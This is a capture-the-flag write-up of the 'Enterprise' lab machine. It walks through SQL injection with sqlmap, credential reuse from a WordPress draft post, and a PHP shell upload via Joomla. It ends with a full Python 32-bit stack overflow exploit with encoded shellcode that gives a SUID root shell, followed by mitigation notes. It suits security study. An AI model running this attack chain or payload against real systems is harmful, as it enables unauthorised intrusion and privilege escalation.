Overview

Machine author: TheHermit. Host: Ubuntu, with Docker containers (Debian 8 Jessie). Theme: Star Trek: The Next Generation.

Chain: recon, SQL injection in a custom WordPress plugin, credentials in a draft post, Joomla admin, PHP shell upload via eXtplorer, a www-data shell on the host (outside Docker), a SUID stack buffer overflow in /bin/lcars, root.

The key trap: there are two different www-data shells. One is in a Docker container (WordPress/Joomla), the other is on the real host (via Apache on 443). Root only comes from the second one.

Reconnaissance

1
2
3
4
5
6
22/tcp    open  ssh     (protocol 2.0)
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))   <- WordPress (container)
443/tcp   open  http    Apache httpd 2.4.25 ((Ubuntu))   <- host (real system)
5355/tcp  filtered llmnr
8080/tcp  open  http    Apache httpd 2.4.10 ((Debian))   <- Joomla (container)
32812/tcp open  unknown

Interpreting the banners is critical here:

  • 80 and 8080 are Debian 8 (Jessie), so these are services in Docker containers.
  • 443 is Ubuntu 2.4.25, so this is the real host. The Apache version mismatch signals a split infrastructure.
1
echo "10.10.10.x   enterprise.htb" | sudo tee -a /etc/hosts

Directory enumeration on 443:

1
2
3
feroxbuster -u https://enterprise.htb \
  -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt \
  -x php,html,js,txt --insecure --scan-dir-listings

Findings:

  • https://enterprise.htb/files/ (directory listing enabled)
  • https://enterprise.htb/files/lcars.zip, the source of the custom WordPress plugin

Unzipping lcars.zip reveals the plugin files, including lcars_db.php, the SQL injection entry point. Reading the source shows an unparameterized query using $_GET['query'].

Initial Access

SQL injection in the custom lcars plugin

Vulnerable endpoint:

1
http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1
1
2
sqlmap --url 'http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1' \
  --batch --risk=3 --level=5

The query parameter is vulnerable to three techniques: boolean-based blind, error-based (MySQL >= 5.0, FLOOR / information_schema.PLUGINS), and time-based blind (SLEEP(5)). Backend: MySQL >= 5.0, PHP 5.6.31, Apache 2.4.10 (Debian).

1
sqlmap --url '...lcars_db.php?query=1' --batch --risk=3 --level=5 --dbs
1
2
3
available databases [8]:
information_schema, joomla, joomladb, mysql,
performance_schema, sys, wordpress, wordpressdb

The joomla database (without db) is empty; the real data is in joomladb, and WordPress data is in wordpress.

Credentials in a draft post

1
2
sqlmap --url '...lcars_db.php?query=1' --batch --risk=3 --level=5 \
  -D wordpress -T wp_posts -C post_content --dump

wp_posts contains an unpublished (draft) post titled “Passwords” (ID 66) where someone saved passwords quickly:

1
2
3
4
5
Needed somewhere to put some passwords quickly
ZxJyhGem4k338S2Y
enterprisencc170
ZD3YxfnSjezg67JZ
u*Z14ru0p#ttj83zS6

wp_users gives the WordPress admin login william.riker (phpass hash $P$B..., does not crack with rockyou). Working WordPress pair: william.riker : u*Z14ru0p#ttj83zS6.

Draft and trash posts in wp_posts are a classic hiding place for secrets. Dump post_content regardless of post_status. Revisions can also contain older versions of secrets (revision 67 here has a different set of passwords from 68).

Docker trap, WordPress does not lead to root

Logging into the WordPress panel works, but every shell attempt (theme editing, PHP in a post) lands in a container:

1
www-data@b8319d86d21e   <- hostname = container ID

No docker, a minimal SUID set, user.txt is a joke text about the Holodeck. This is a dead end; move to Joomla and get out of the container.

Joomla dump, password reuse

1
2
sqlmap --url '...lcars_db.php?query=1' --batch --risk=3 --level=5 \
  -D joomladb -T edz2g_users --dump

The Joomla table prefix is random (edz2g_). Users:

idusernameemailpassword (bcrypt $2y$10$)
400geordi.la.forge[email protected]$2y$10$cXSgEkNQGBBUneDKXq9gU...
401Guinan[email protected]$2y$10$90gyQVv7oL6CCN8lF/0LYu...

bcrypt is slow; instead of cracking, reuse the passwords from the WordPress draft (password spraying). Working: geordi.la.forge : ZD3YxfnSjezg67JZ gives Joomla admin on port 8080.

From Joomla admin to a shell on the host

Architecture: WordPress (80) and Joomla (8080) are in Docker. Apache on 443 is the host, and the /files/ directory is shared between 443 and Joomla (8080).

In the Joomla panel: Components -> eXtplorer (file manager). It allows uploading to /files/. Upload a PHP shell, then call it via port 443 (host), not 8080 (container):

1
https://enterprise.htb/files/ghost.php

This gives a shell as www-data outside Docker (hostname enterprise, not a container ID). Real user.txt:

1
2
/home/jeanlucpicard/user.txt
# [REDACTED_USER_FLAG]

If you execute code in the WordPress context (container), you get:

1
2
Fatal error: Call to undefined function get_header() in
/var/www/html/wp-content/themes/twentyseventeen/404.php

get_header() is a WordPress function, available only when the file is loaded through the WordPress bootstrap. A standalone PHP shell on port 443 (/files/) avoids this and lands on the host.

TTY stabilisation:

1
2
3
4
python3 -c 'import pty;pty.spawn("/bin/bash");'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm

Privilege Escalation

SUID buffer overflow in /bin/lcars

1
find / -type f -perm -4000 2>/dev/null

A non-standard SUID root binary:

1
-rwsr-xr-x 1 root root 12152 Sep  8  2017 /bin/lcars

It asks for an access code:

1
Enter Bridge Access Code:

Recover the access code with ltrace, which shows the strcmp() against a hardcoded Bridge Access Code. With the correct code the binary shows a menu:

1
2
3
4
5
6
7
8
LCARS Bridge Secondary Controls -- Main Menu:
1. Navigation
2. Ships Log
3. Science
4. Security          <-- buffer overflow here
5. StellaCartography
6. Engineering
7. Exit

Option 4 (Security) asks for a “Security Override” and reads input into an unbounded buffer: a classic stack-based buffer overflow. The captured input to the binary is picarda1\n4\n..., so picarda1 is the access code, 4 selects Security, and the rest is the overflow.

Exploit characteristics (32-bit, non-PIE, classic ret2shellcode):

  • Architecture: x86 32-bit; the return address is packed as struct.pack('<L', ...) (little-endian).
  • Offset to EIP: padding = 212.
  • No ASLR-safe address, so a hardcoded return address on the stack: 0xffffdd60 (points into a NOP sled).
  • NOP sled: 70 bytes of \x90.
  • Shellcode: ~105 bytes, does cp /bin/bash /tmp/writeup plus chmod 4777 /tmp/writeup. /tmp/writeup inherits SUID root, so ./writeup -p gives root (bash -p keeps the effective UID).

Bad chars:

1
\x00 \x0a \x0d \x0b \x09 \x0c \x20

That is: null, \n, \r, vertical tab, tab, form feed, space. The shellcode must be free of them, which is why it is encoded (shikata_ga_nai; the decoder stub is visible at the start: \xd9\xee...\xd9\x74\x24\xf4\x5f is an FPU getPC plus a decode loop).

Stack addresses depend on environment variables (they are pushed onto the stack at process start, shifting everything). To keep 0xffffdd60 stable between gdb and a real run:

1
2
3
4
5
6
7
8
9
# clean environment in gdb
env - gdb /bin/lcars

# clean environment when exploiting
cat payload.txt | env - /bin/lcars

# additionally in both
unset LINES
unset COLUMNS

env - starts the process with an empty environment, so the stack layout in gdb matches the real run. LINES / COLUMNS add readline/terminal state and shift offsets, which is the most common cause of “works in gdb, not outside gdb”.

Exploit (Python 3):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env python3
import struct, sys

shellcode  = b""
shellcode += b"\xd9\xee\xbd\x8f\x1f\x9f\xe9\xd9\x74\x24\xf4\x5f\x29"
shellcode += b"\xc9\xb1\x16\x83\xef\xfc\x31\x6f\x15\x03\x6f\x15\x6d"
shellcode += b"\xea\xf5\xe2\x29\x8c\x58\x93\xa1\x83\x3f\xd2\xd6\xb4"
shellcode += b"\x90\x97\x70\x45\x87\x78\xe2\x2c\x39\x0e\x01\xfc\x2d"
shellcode += b"\x23\xc5\x01\xae\x27\xb5\x21\x81\xc5\x5c\x4c\xf2\x6b"
shellcode += b"\xff\xe3\x64\x4c\xd0\x77\x18\xfc\x01\x0f\x90\x95\x29"
shellcode += b"\x8a\x21\x16\xea\x74\xa9\xbe\x61\x1a\x49\x1f\x4d\xd3"
shellcode += b"\xa6\x68\x8d\x34\xbd\xfb\xbd\x65\x4a\x76\x54\x0e\xd1"
shellcode += b"\x03\xd6\xee\x4e\xbf\x9f\x0e\xbd\xbf"

addr    = struct.pack('<L', 0xffffdd60)
padding = 212
nops    = b"\x90" * 70

payload  = b"picarda1\n4\n"
payload += nops
payload += shellcode
payload += b"A" * (padding - len(nops) - len(shellcode))
payload += addr
payload += b"\n"

sys.stdout.buffer.write(payload)   # raw bytes, no encoding damage

Rules for porting BOF exploits to Python 3:

  • All byte literals prefixed with b"...".
  • struct.pack already returns bytes; do not wrap it in str().
  • Never print(payload) to a binary file; use sys.stdout.buffer.write() or open('payload.txt','wb').
  • If you must stay on Python 2 (as in the original), generate the payload locally on Kali (python2.7), because Python 2.7 is not on the target; then transfer payload.txt.

Execution on the target:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# 1. generate the payload locally
python3 enterprise_bof.py > payload.txt

# 2. transfer to the host (HTTP server on Kali)
python3 -m http.server 80
# on the target:
cd /tmp
wget http://10.10.14.x/payload.txt

# 3. run the binary with a clean environment, feeding it the payload
cat payload.txt | env - /bin/lcars

# 4. the binary created a SUID-root /tmp/writeup
ls -la /tmp/writeup      # -rwsrwxrwx 1 root www-data ... (SUID root)
./writeup -p             # bash -p keeps euid=0
cat /root/root.txt

Terminal proof:

1
2
3
-rwsrwxrwx  1 root  www-data 1099016 ... writeup
writeup-4.4# cat /root/root.txt
[REDACTED_ROOT_FLAG]

Without -p, ./writeup gives a nice prompt but not root (whoami = www-data), because bash drops euid by default. ./writeup -p keeps the SUID.

Detection and Mitigation

  • A version mismatch across banners maps the infrastructure; segment services by version.
  • Do not store secrets in post content or revisions (draft, trash, revision); dump post_content without status filtering during review.
  • A container hostname (container ID), no docker, and a minimal SUID set indicate a container; look for shared resources to reach the host.
  • Do not reuse passwords across CMSes (WordPress to Joomla).
  • Stabilise the environment for BOF exploitation (env -, unset LINES/COLUMNS) because ENV shifts the stack.
  • SUID bash requires -p, or euid is dropped.
  • Port Python 2 to Python 3 exploits with everything as bytes, output through sys.stdout.buffer.write().

Lessons Learned

  • Banner discrepancy is an infrastructure map. Debian vs Ubuntu, 2.4.10 vs 2.4.25 immediately revealed the container/host split.
  • Secrets live in post content and revisions.
  • Docker is a dead end; look for shared resources (/files/ between 8080 and 443) to reach the host.
  • Password reuse and spraying between CMSes.
  • Classic 32-bit stack BOF: offset, NOP sled, encoded shellcode (bad chars), hardcoded ret; stabilise the environment.
  • SUID bash needs -p.

Command Reference

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# hosts
echo "10.10.10.x enterprise.htb" | sudo tee -a /etc/hosts

# recon 443 -> /files/lcars.zip
feroxbuster -u https://enterprise.htb -w .../big.txt -x php,html,js,txt --insecure --scan-dir-listings

# SQLi: dump WordPress passwords
sqlmap --url '...lcars_db.php?query=1' --batch --risk=3 --level=5 -D wordpress -T wp_posts -C post_content --dump
#   -> william.riker : u*Z14ru0p#ttj83zS6
#   -> password pool: ZxJyhGem4k338S2Y / enterprisencc170 / ZD3YxfnSjezg67JZ / u*Z14ru0p#ttj83zS6

# SQLi: dump Joomla users
sqlmap --url '...lcars_db.php?query=1' --batch --risk=3 --level=5 -D joomladb -T edz2g_users --dump
#   -> geordi.la.forge : ZD3YxfnSjezg67JZ (reuse) -> admin on 8080

# Joomla admin -> Components > eXtplorer -> upload PHP to /files/
#   https://enterprise.htb/files/ghost.php  -> www-data @ enterprise (host)
cat /home/jeanlucpicard/user.txt

# privesc: SUID BOF
find / -type f -perm -4000 2>/dev/null      # -> /bin/lcars
ltrace /bin/lcars                            # -> Bridge Access Code = picarda1
cat payload.txt | env - /bin/lcars
/tmp/writeup -p                              # -> root
cat /root/root.txt